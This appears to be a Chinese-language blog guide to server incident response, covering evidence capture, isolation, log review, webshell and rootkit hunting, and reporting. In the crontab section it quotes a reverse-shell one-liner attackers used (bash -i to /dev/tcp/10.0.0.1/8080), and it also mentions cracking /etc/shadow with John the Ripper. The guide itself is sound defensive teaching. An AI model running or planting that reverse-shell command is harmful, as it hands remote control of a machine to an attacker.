遇到服务器被黑,很多人会采用拔网线、封 iptables 或者关掉所有服务的方式应急,但如果是线上服务器就不能立即采用任何影响业务的手段了,需要根据服务器业务情况分类处理。


下面我们看一个标准的服务器安全应急影响应该怎么做,也算是笔者从事安全事件应急近 6 年以来的一些经验之谈,借此抛砖引玉,希望大神们不吝赐教~

服务器被黑客入侵了怎么办?_Web

如上图,将服务器安全应急响应流程分为如下 8 个环节:

· 发现安全事件(核实)

· 现场保护

· 服务器保护

· 影响范围评估

· 在线分析

· 数据备份

· 深入分析

· 事件报告整理

接下来我们将每个环节分解,看看需要如何断开异常连接、排查入侵源头、避免二次入侵等。

核实信息(运维/安全人员)

根据安全事件通知源的不同,分为两种:

外界通知:和报告人核实信息,确认服务器/系统是否被入侵。现在很多企业有自己的 SRC(安全响应中心),在此之前更多的是依赖某云。这种情况入侵的核实一般是安全工程师完成。

自行发现:根据服务器的异常或故障判断,比如对外发送大规模流量或者系统负载异常高等,这种情况一般是运维工程师发现并核实的。

现场保护(运维)

我们很多人看过大陆的电视剧《重案六组》,每次接到刑事案件,刑警们第一时间就是封锁现场、保存现场原状。

同样道理,安全事件发生现场,跟刑事案件发生现场一样,需要保存第一现场重要信息,方便后面入侵检测和取证。

保存现场环境(截图)


相关信息采集命令如下:


· 进程信息:ps axu

· 网络信息:netstat –a

· 网络+进程:lsof / netstat -p



攻击者登陆情况(截图)


相关信息采集命令如下:

· 查看当前登录用户:w 或 who -a



服务器保护(运维/机房)


这里的现场保护和服务器保护是两个不同的环节,前者注重取证,后者注重环境隔离。


核实机器被入侵后,应当尽快将机器保护起来,避免被二次入侵或者当成跳板扩大攻击面。


此时,为保护服务器和业务,避免服务器被攻击者继续利用,应尽快迁移业务,立即下线机器。


如果不能立即处理,应当通过配置网络 ACL 等方式,封掉该服务器对网络的双向连接。


影响范围评估(运维/开发)


一般是运维或者程序确认影响范围,需要运维通过日志或者监控图表确认数据库或者敏感文件是否泄露,如果是代码或者数据库泄露了,则需要程序评估危害情况与处置方法。


影响访问评估一般从下面几点来入手:


· 具体业务架构:Web(PHP/Java, WebServer), Proxy, DB等。

· IP 及所处区域拓扑等:VLAN 内服务器和应用情况。

· 确定同一网络下面服务器之间的访问:可以互相登陆,是否需要 Key 或者是密码登录。



由此确定检查影响范围,确认所有受到影响的网段和机器。


在线分析(安全人员/运维)


这时需要根据个人经验快速在线分析,一般是安全人员和运维同时在线处理,不过会涉及多人协作的问题,需要避免多人操作机器时破坏服务器现场,造成分析困扰。


之前笔者遇到一个类似的问题,就是运维排查时敲错了 iptables 的命令,将 iptables -L 敲成 iptables -i 导致 iptables-save 时出现异常记录,结果安全人员上来检查时就被这条记录迷惑了,导致处理思路受到一定干扰。

所有用户 History 日志检测



· 关键字:wget/curl, gcc, 或者隐藏文件, 敏感文件后缀(.c,.py,conf, .pl, .sh)。

· 检查是否存在异常用户。

· 检查最近添加的用户,是否有不知名用户或不规范提权。

· 找出 root 权限的用户。


可以执行以下命令检查:

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'


反连木马判断

· netstat –a

· 注意非正常端口的外网 IP



可疑进程判断


· 判断是否为木马 ps –aux

· 重点关注文件(隐藏文件), Python脚本,Perl脚本,Shell 脚本(bash/sh/zsh)。

· 使用 which,whereis,find 定位。



Crontab 检测


不要用 crontab –l 查看 crontab(绕过检测),也有通过写 crontab 配置文件反弹Shell 的,笔者接触过几次,一般都是使用的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1。


系统日志检测


· 检查 sshd 服务配置文件 /etc/ssh/sshd_config 和系统认证日志 auth、message,判断是否为口令破解攻击。

· /etc/ssh/sshd_config 文件确认认证方式。

· 确认日志是否被删除或者清理过的可能(大小判断)。

· last/lastb 可以作为辅助,不过可能不准确。

NHIDS 正常运行判断


· 是否安装:ls /etc/ossec

· 是否运行正常:ps axu |grep nhids,三个 nhids 进程则表示正常



其他攻击分析


抓取网络数据包并进行分析,判断是否为拒绝服务攻击,这里需要注意,一定要使用 -w 参数,这样才能保存成 pcap 格式导入到 wireshark,这样分析起来会事半功倍。

tcpdump -w tcpdump.log


安全相关的关键文件和数据备份(运维)


可以同步进行,使用 sftp/rsync 等将日志上传到安全的服务器:


· 打包系统日志:参考:$ tar -jcvf syslog.tar.bz2 /var/log

· 打包 Web 日志:access log

· 打包 History 日志(所有用户),参考:$ cp /home/user/,history user_history

· 打包 crontab 记录

· 打包密码文件:/etc/passwd, /etc/shadow

· 打包可疑文件、后门、Shell 信息


深入分析(安全人员)


初步锁定异常进程和恶意代码后,将受影响范围梳理清楚,封禁了入侵者对机器的控制后,接下来需要深入排查入侵原因。一般可以从 Webshell、开放端口服务等方向顺藤摸瓜。


Webshell 入侵


· 使用 Webshell_check.py 脚本检测 Web 目录:

$ python webshell_check.py /var/www/ >result.txt


· 查找 Web 目录下所有 nobody 的文件,人工分析:

$ find /var/www –user nobody >nobody.txt


· 如果能确定入侵时间,可以使用 find 查找最近时间段内变化的文件:

$ find / -type f -name "\.?*" |xargs ls -l |grep "Mar 22"

$ find / -ctime/-mtime 8



利用 Web 漏洞直接反连 Shell


分析 access.log:

· 缩小日志范围:时间,异常 IP 提取。

· 攻击行为提取:常见的攻击 exp 识别。



系统弱口令入侵


认证相关日志 auth/syslog/message 排查:


· 爆破行为定位和 IP 提取。

· 爆破是否成功确定:有爆破行为 IP 是否有 accept 记录。


如果日志已经被清理,使用工具(比如John the Ripper)爆破 /etc/passwd,/etc/shadow。


其他入侵


其他服务器跳板到本机。


后续行为分析



· History 日志:提权、增加后门,以及是否被清理。

· Sniffer:网卡混杂模式检测  ifconfig |grep –i proc。

· 内网扫描:网络 nmap/ 扫描器,socks5 代理。

· 确定是否有 rootkit:rkhunter, chkrootkit, ps/netstat 替换确认。



后门清理排查


· 根据时间点做关联分析:查找那个时间段的所有文件。

· 一些小技巧:/tmp 目录, ls –la,查看所有文件,注意隐藏的文件。

· 根据用户做时间关联:比如 nobody。

其他机器的关联操作


其他机器和这台机器的网络连接 (日志查看)、相同业务情况(同样业务,负载均衡)。


整理事件报告(安全人员)


事件报告应包含但不限于以下几个点:

· 分析事件发生原因:事件为什么会发生的原因。

· 分析整个攻击流程:时间点、操作。

· 分析事件处理过程:整个事件处理过程总结是否有不足。

· 分析事件预防:如何避免事情再次发生。

· 总结:总结事件原因,改进处理过程,预防类似事件再次发生。



处理中遇到的比较棘手的事情


日志和操作记录全被删了,怎么办?


strace 查看 losf 进程,再尝试恢复一下日志记录,不行的话镜像硬盘数据慢慢查。这个要用到一些取证工具了,dd 硬盘数据再去还原出来。


系统账号密码都修改了,登不进去?


重启进单用户模式修改 root 密码,或者通过控制卡操作,或者直接还原系统,都搞不定就直接重装吧。


使用常见的入侵检测命令未发现异常进程,但是机器在对外发包,这是怎么回事?


这种情况下很可能常用的系统命令已经被攻击者或者木马程序替换,可以通过 md5sum 对比本机二进制文件与正常机器的 md5 值是否一致。

如果发现不一致,肯定是被替换了,可以从其他机器上拷贝命令到本机替换,或者 alias 为其他名称,避免为恶意程序再次替换。

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